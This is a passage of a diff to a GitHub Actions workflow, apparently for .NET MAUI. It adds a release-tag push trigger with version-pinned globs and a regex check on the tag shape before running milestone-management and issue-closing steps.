(10.0.0-rc.1.25424.2) tags are all included. The globs match the + # MAJOR.0.PATCH shape that .NET MAUI actually ships — MAJOR pinned to a + # currently-supported major (10 or 11) and MINOR pinned to 0 — so a stray + # tag like 1.2.3, 7.0.0, 9.0.100-preview.1.9973 or 10.1.0 must NOT fire the + # bulk -Apply path. The minor pin matches the script's own contract: tag-mode + # only recognises MAJOR.0.PATCH tags (Test-IsReleaseTag is ^MAJOR\.0\.), so a + # non-.0 minor could never resolve a milestone anyway. GitHub Actions filter + # patterns match the whole ref, so each shape needs its own line: the bare + # pattern matches stable tags, and the -preview.* / -rc.* patterns match the + # prerelease suffixes. + # NOTE: bump these globs when a new major ships (the bash guard below is + # intentionally major-/minor-agnostic — it only validates tag *shape* as an + # anti-injection backstop, and never needs per-major changes). + # + # NOTE: a tag pushed using the default GITHUB_TOKEN does NOT trigger this + # workflow — GitHub suppresses workflow runs for events raised by the default + # token to avoid loops. Release tags must therefore be pushed by a human or by + # automation using a PAT / GitHub App token, otherwise this trigger will + # silently never fire (today SR tags are pushed by a maintainer, so it does). + push: + tags: + - '1[01].0.[0-9]+' # stable SR / GA: 10.0.80, 11.0.0 + - '1[01].0.[0-9]+-preview.*' # preview: 11.0.0-preview.5.26304.4 + - '1[01].0.[0-9]+-rc.*' # rc: 10.0.0-rc.1.25424.2 + workflow_dispatch: inputs: pr_number: @@ -38,8 +66,9 @@ permissions: jobs: manage-milestones: - # For PR merges: only run when actually merged (not just closed) - if: github.event_name == 'workflow_dispatch' || github.event.pull_request.merged == true + # For PR merges: only run when actually merged (not just closed). + # Tag pushes and manual dispatches always run. + if: github.event_name == 'workflow_dispatch' || github.event_name == 'push' || github.event.pull_request.merged == true runs-on: ubuntu-latest steps: - name: Checkout with full history @@ -57,11 +86,27 @@ jobs: INPUT_CREATE_ISSUE: ${{ inputs.create_issue }} INPUT_CLOSE_FIXED_ISSUES: ${{ inputs.close_fixed_issues }} PR_BASE_REF: ${{ github.event.pull_request.base.ref }} + PUSH_TAG: ${{ github.ref_name }} EVENT_NAME: ${{ github.event_name }} run: | ARGS=() - if [ "$EVENT_NAME" = "pull_request_target" ]; then + if [ "$EVENT_NAME" = "push" ]; then + # Release tag pushed: audit the whole tag cohort, fix milestone + # drift, and close issues fixed by PRs that shipped in this tag. + # Defense-in-depth: the `on.push.tags` filter already restricts which + # tags reach this job (major-pinned), but re-validate the shape here + # so an unexpected ref can never be passed through to the script's + # tag-mode. This guard is intentionally major-agnostic — it only + # checks the tag shape (stable MAJOR.MINOR.PATCH, or a -preview.N / + # -rc.N prerelease with a numeric build tail). The major gate lives + # in the glob above; this guard is the anti-injection backstop. + if [[ ! "$PUSH_TAG" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-(preview|rc)\.[0-9]+(\.[0-9]+)*)?$ ]]; then + echo "::error::push tag '$PUSH_TAG' is not a release tag (expected MAJOR.MINOR.PATCH, optionally -preview.N or -rc.N)" + exit 1 + fi + ARGS+=('-Tag' "$PUSH_TAG" '-Apply' '-CloseFixedIssues') + elif [ "$EVENT_NAME" = "pull_request_target" ]; then # Auto-trigger: set milestone on the merged PR ARGS+=('-PrNumber' "$INPUT_PR_NUMBER" '-Apply') # GitHub only auto-closes "fixes #N" issues for PRs merged to the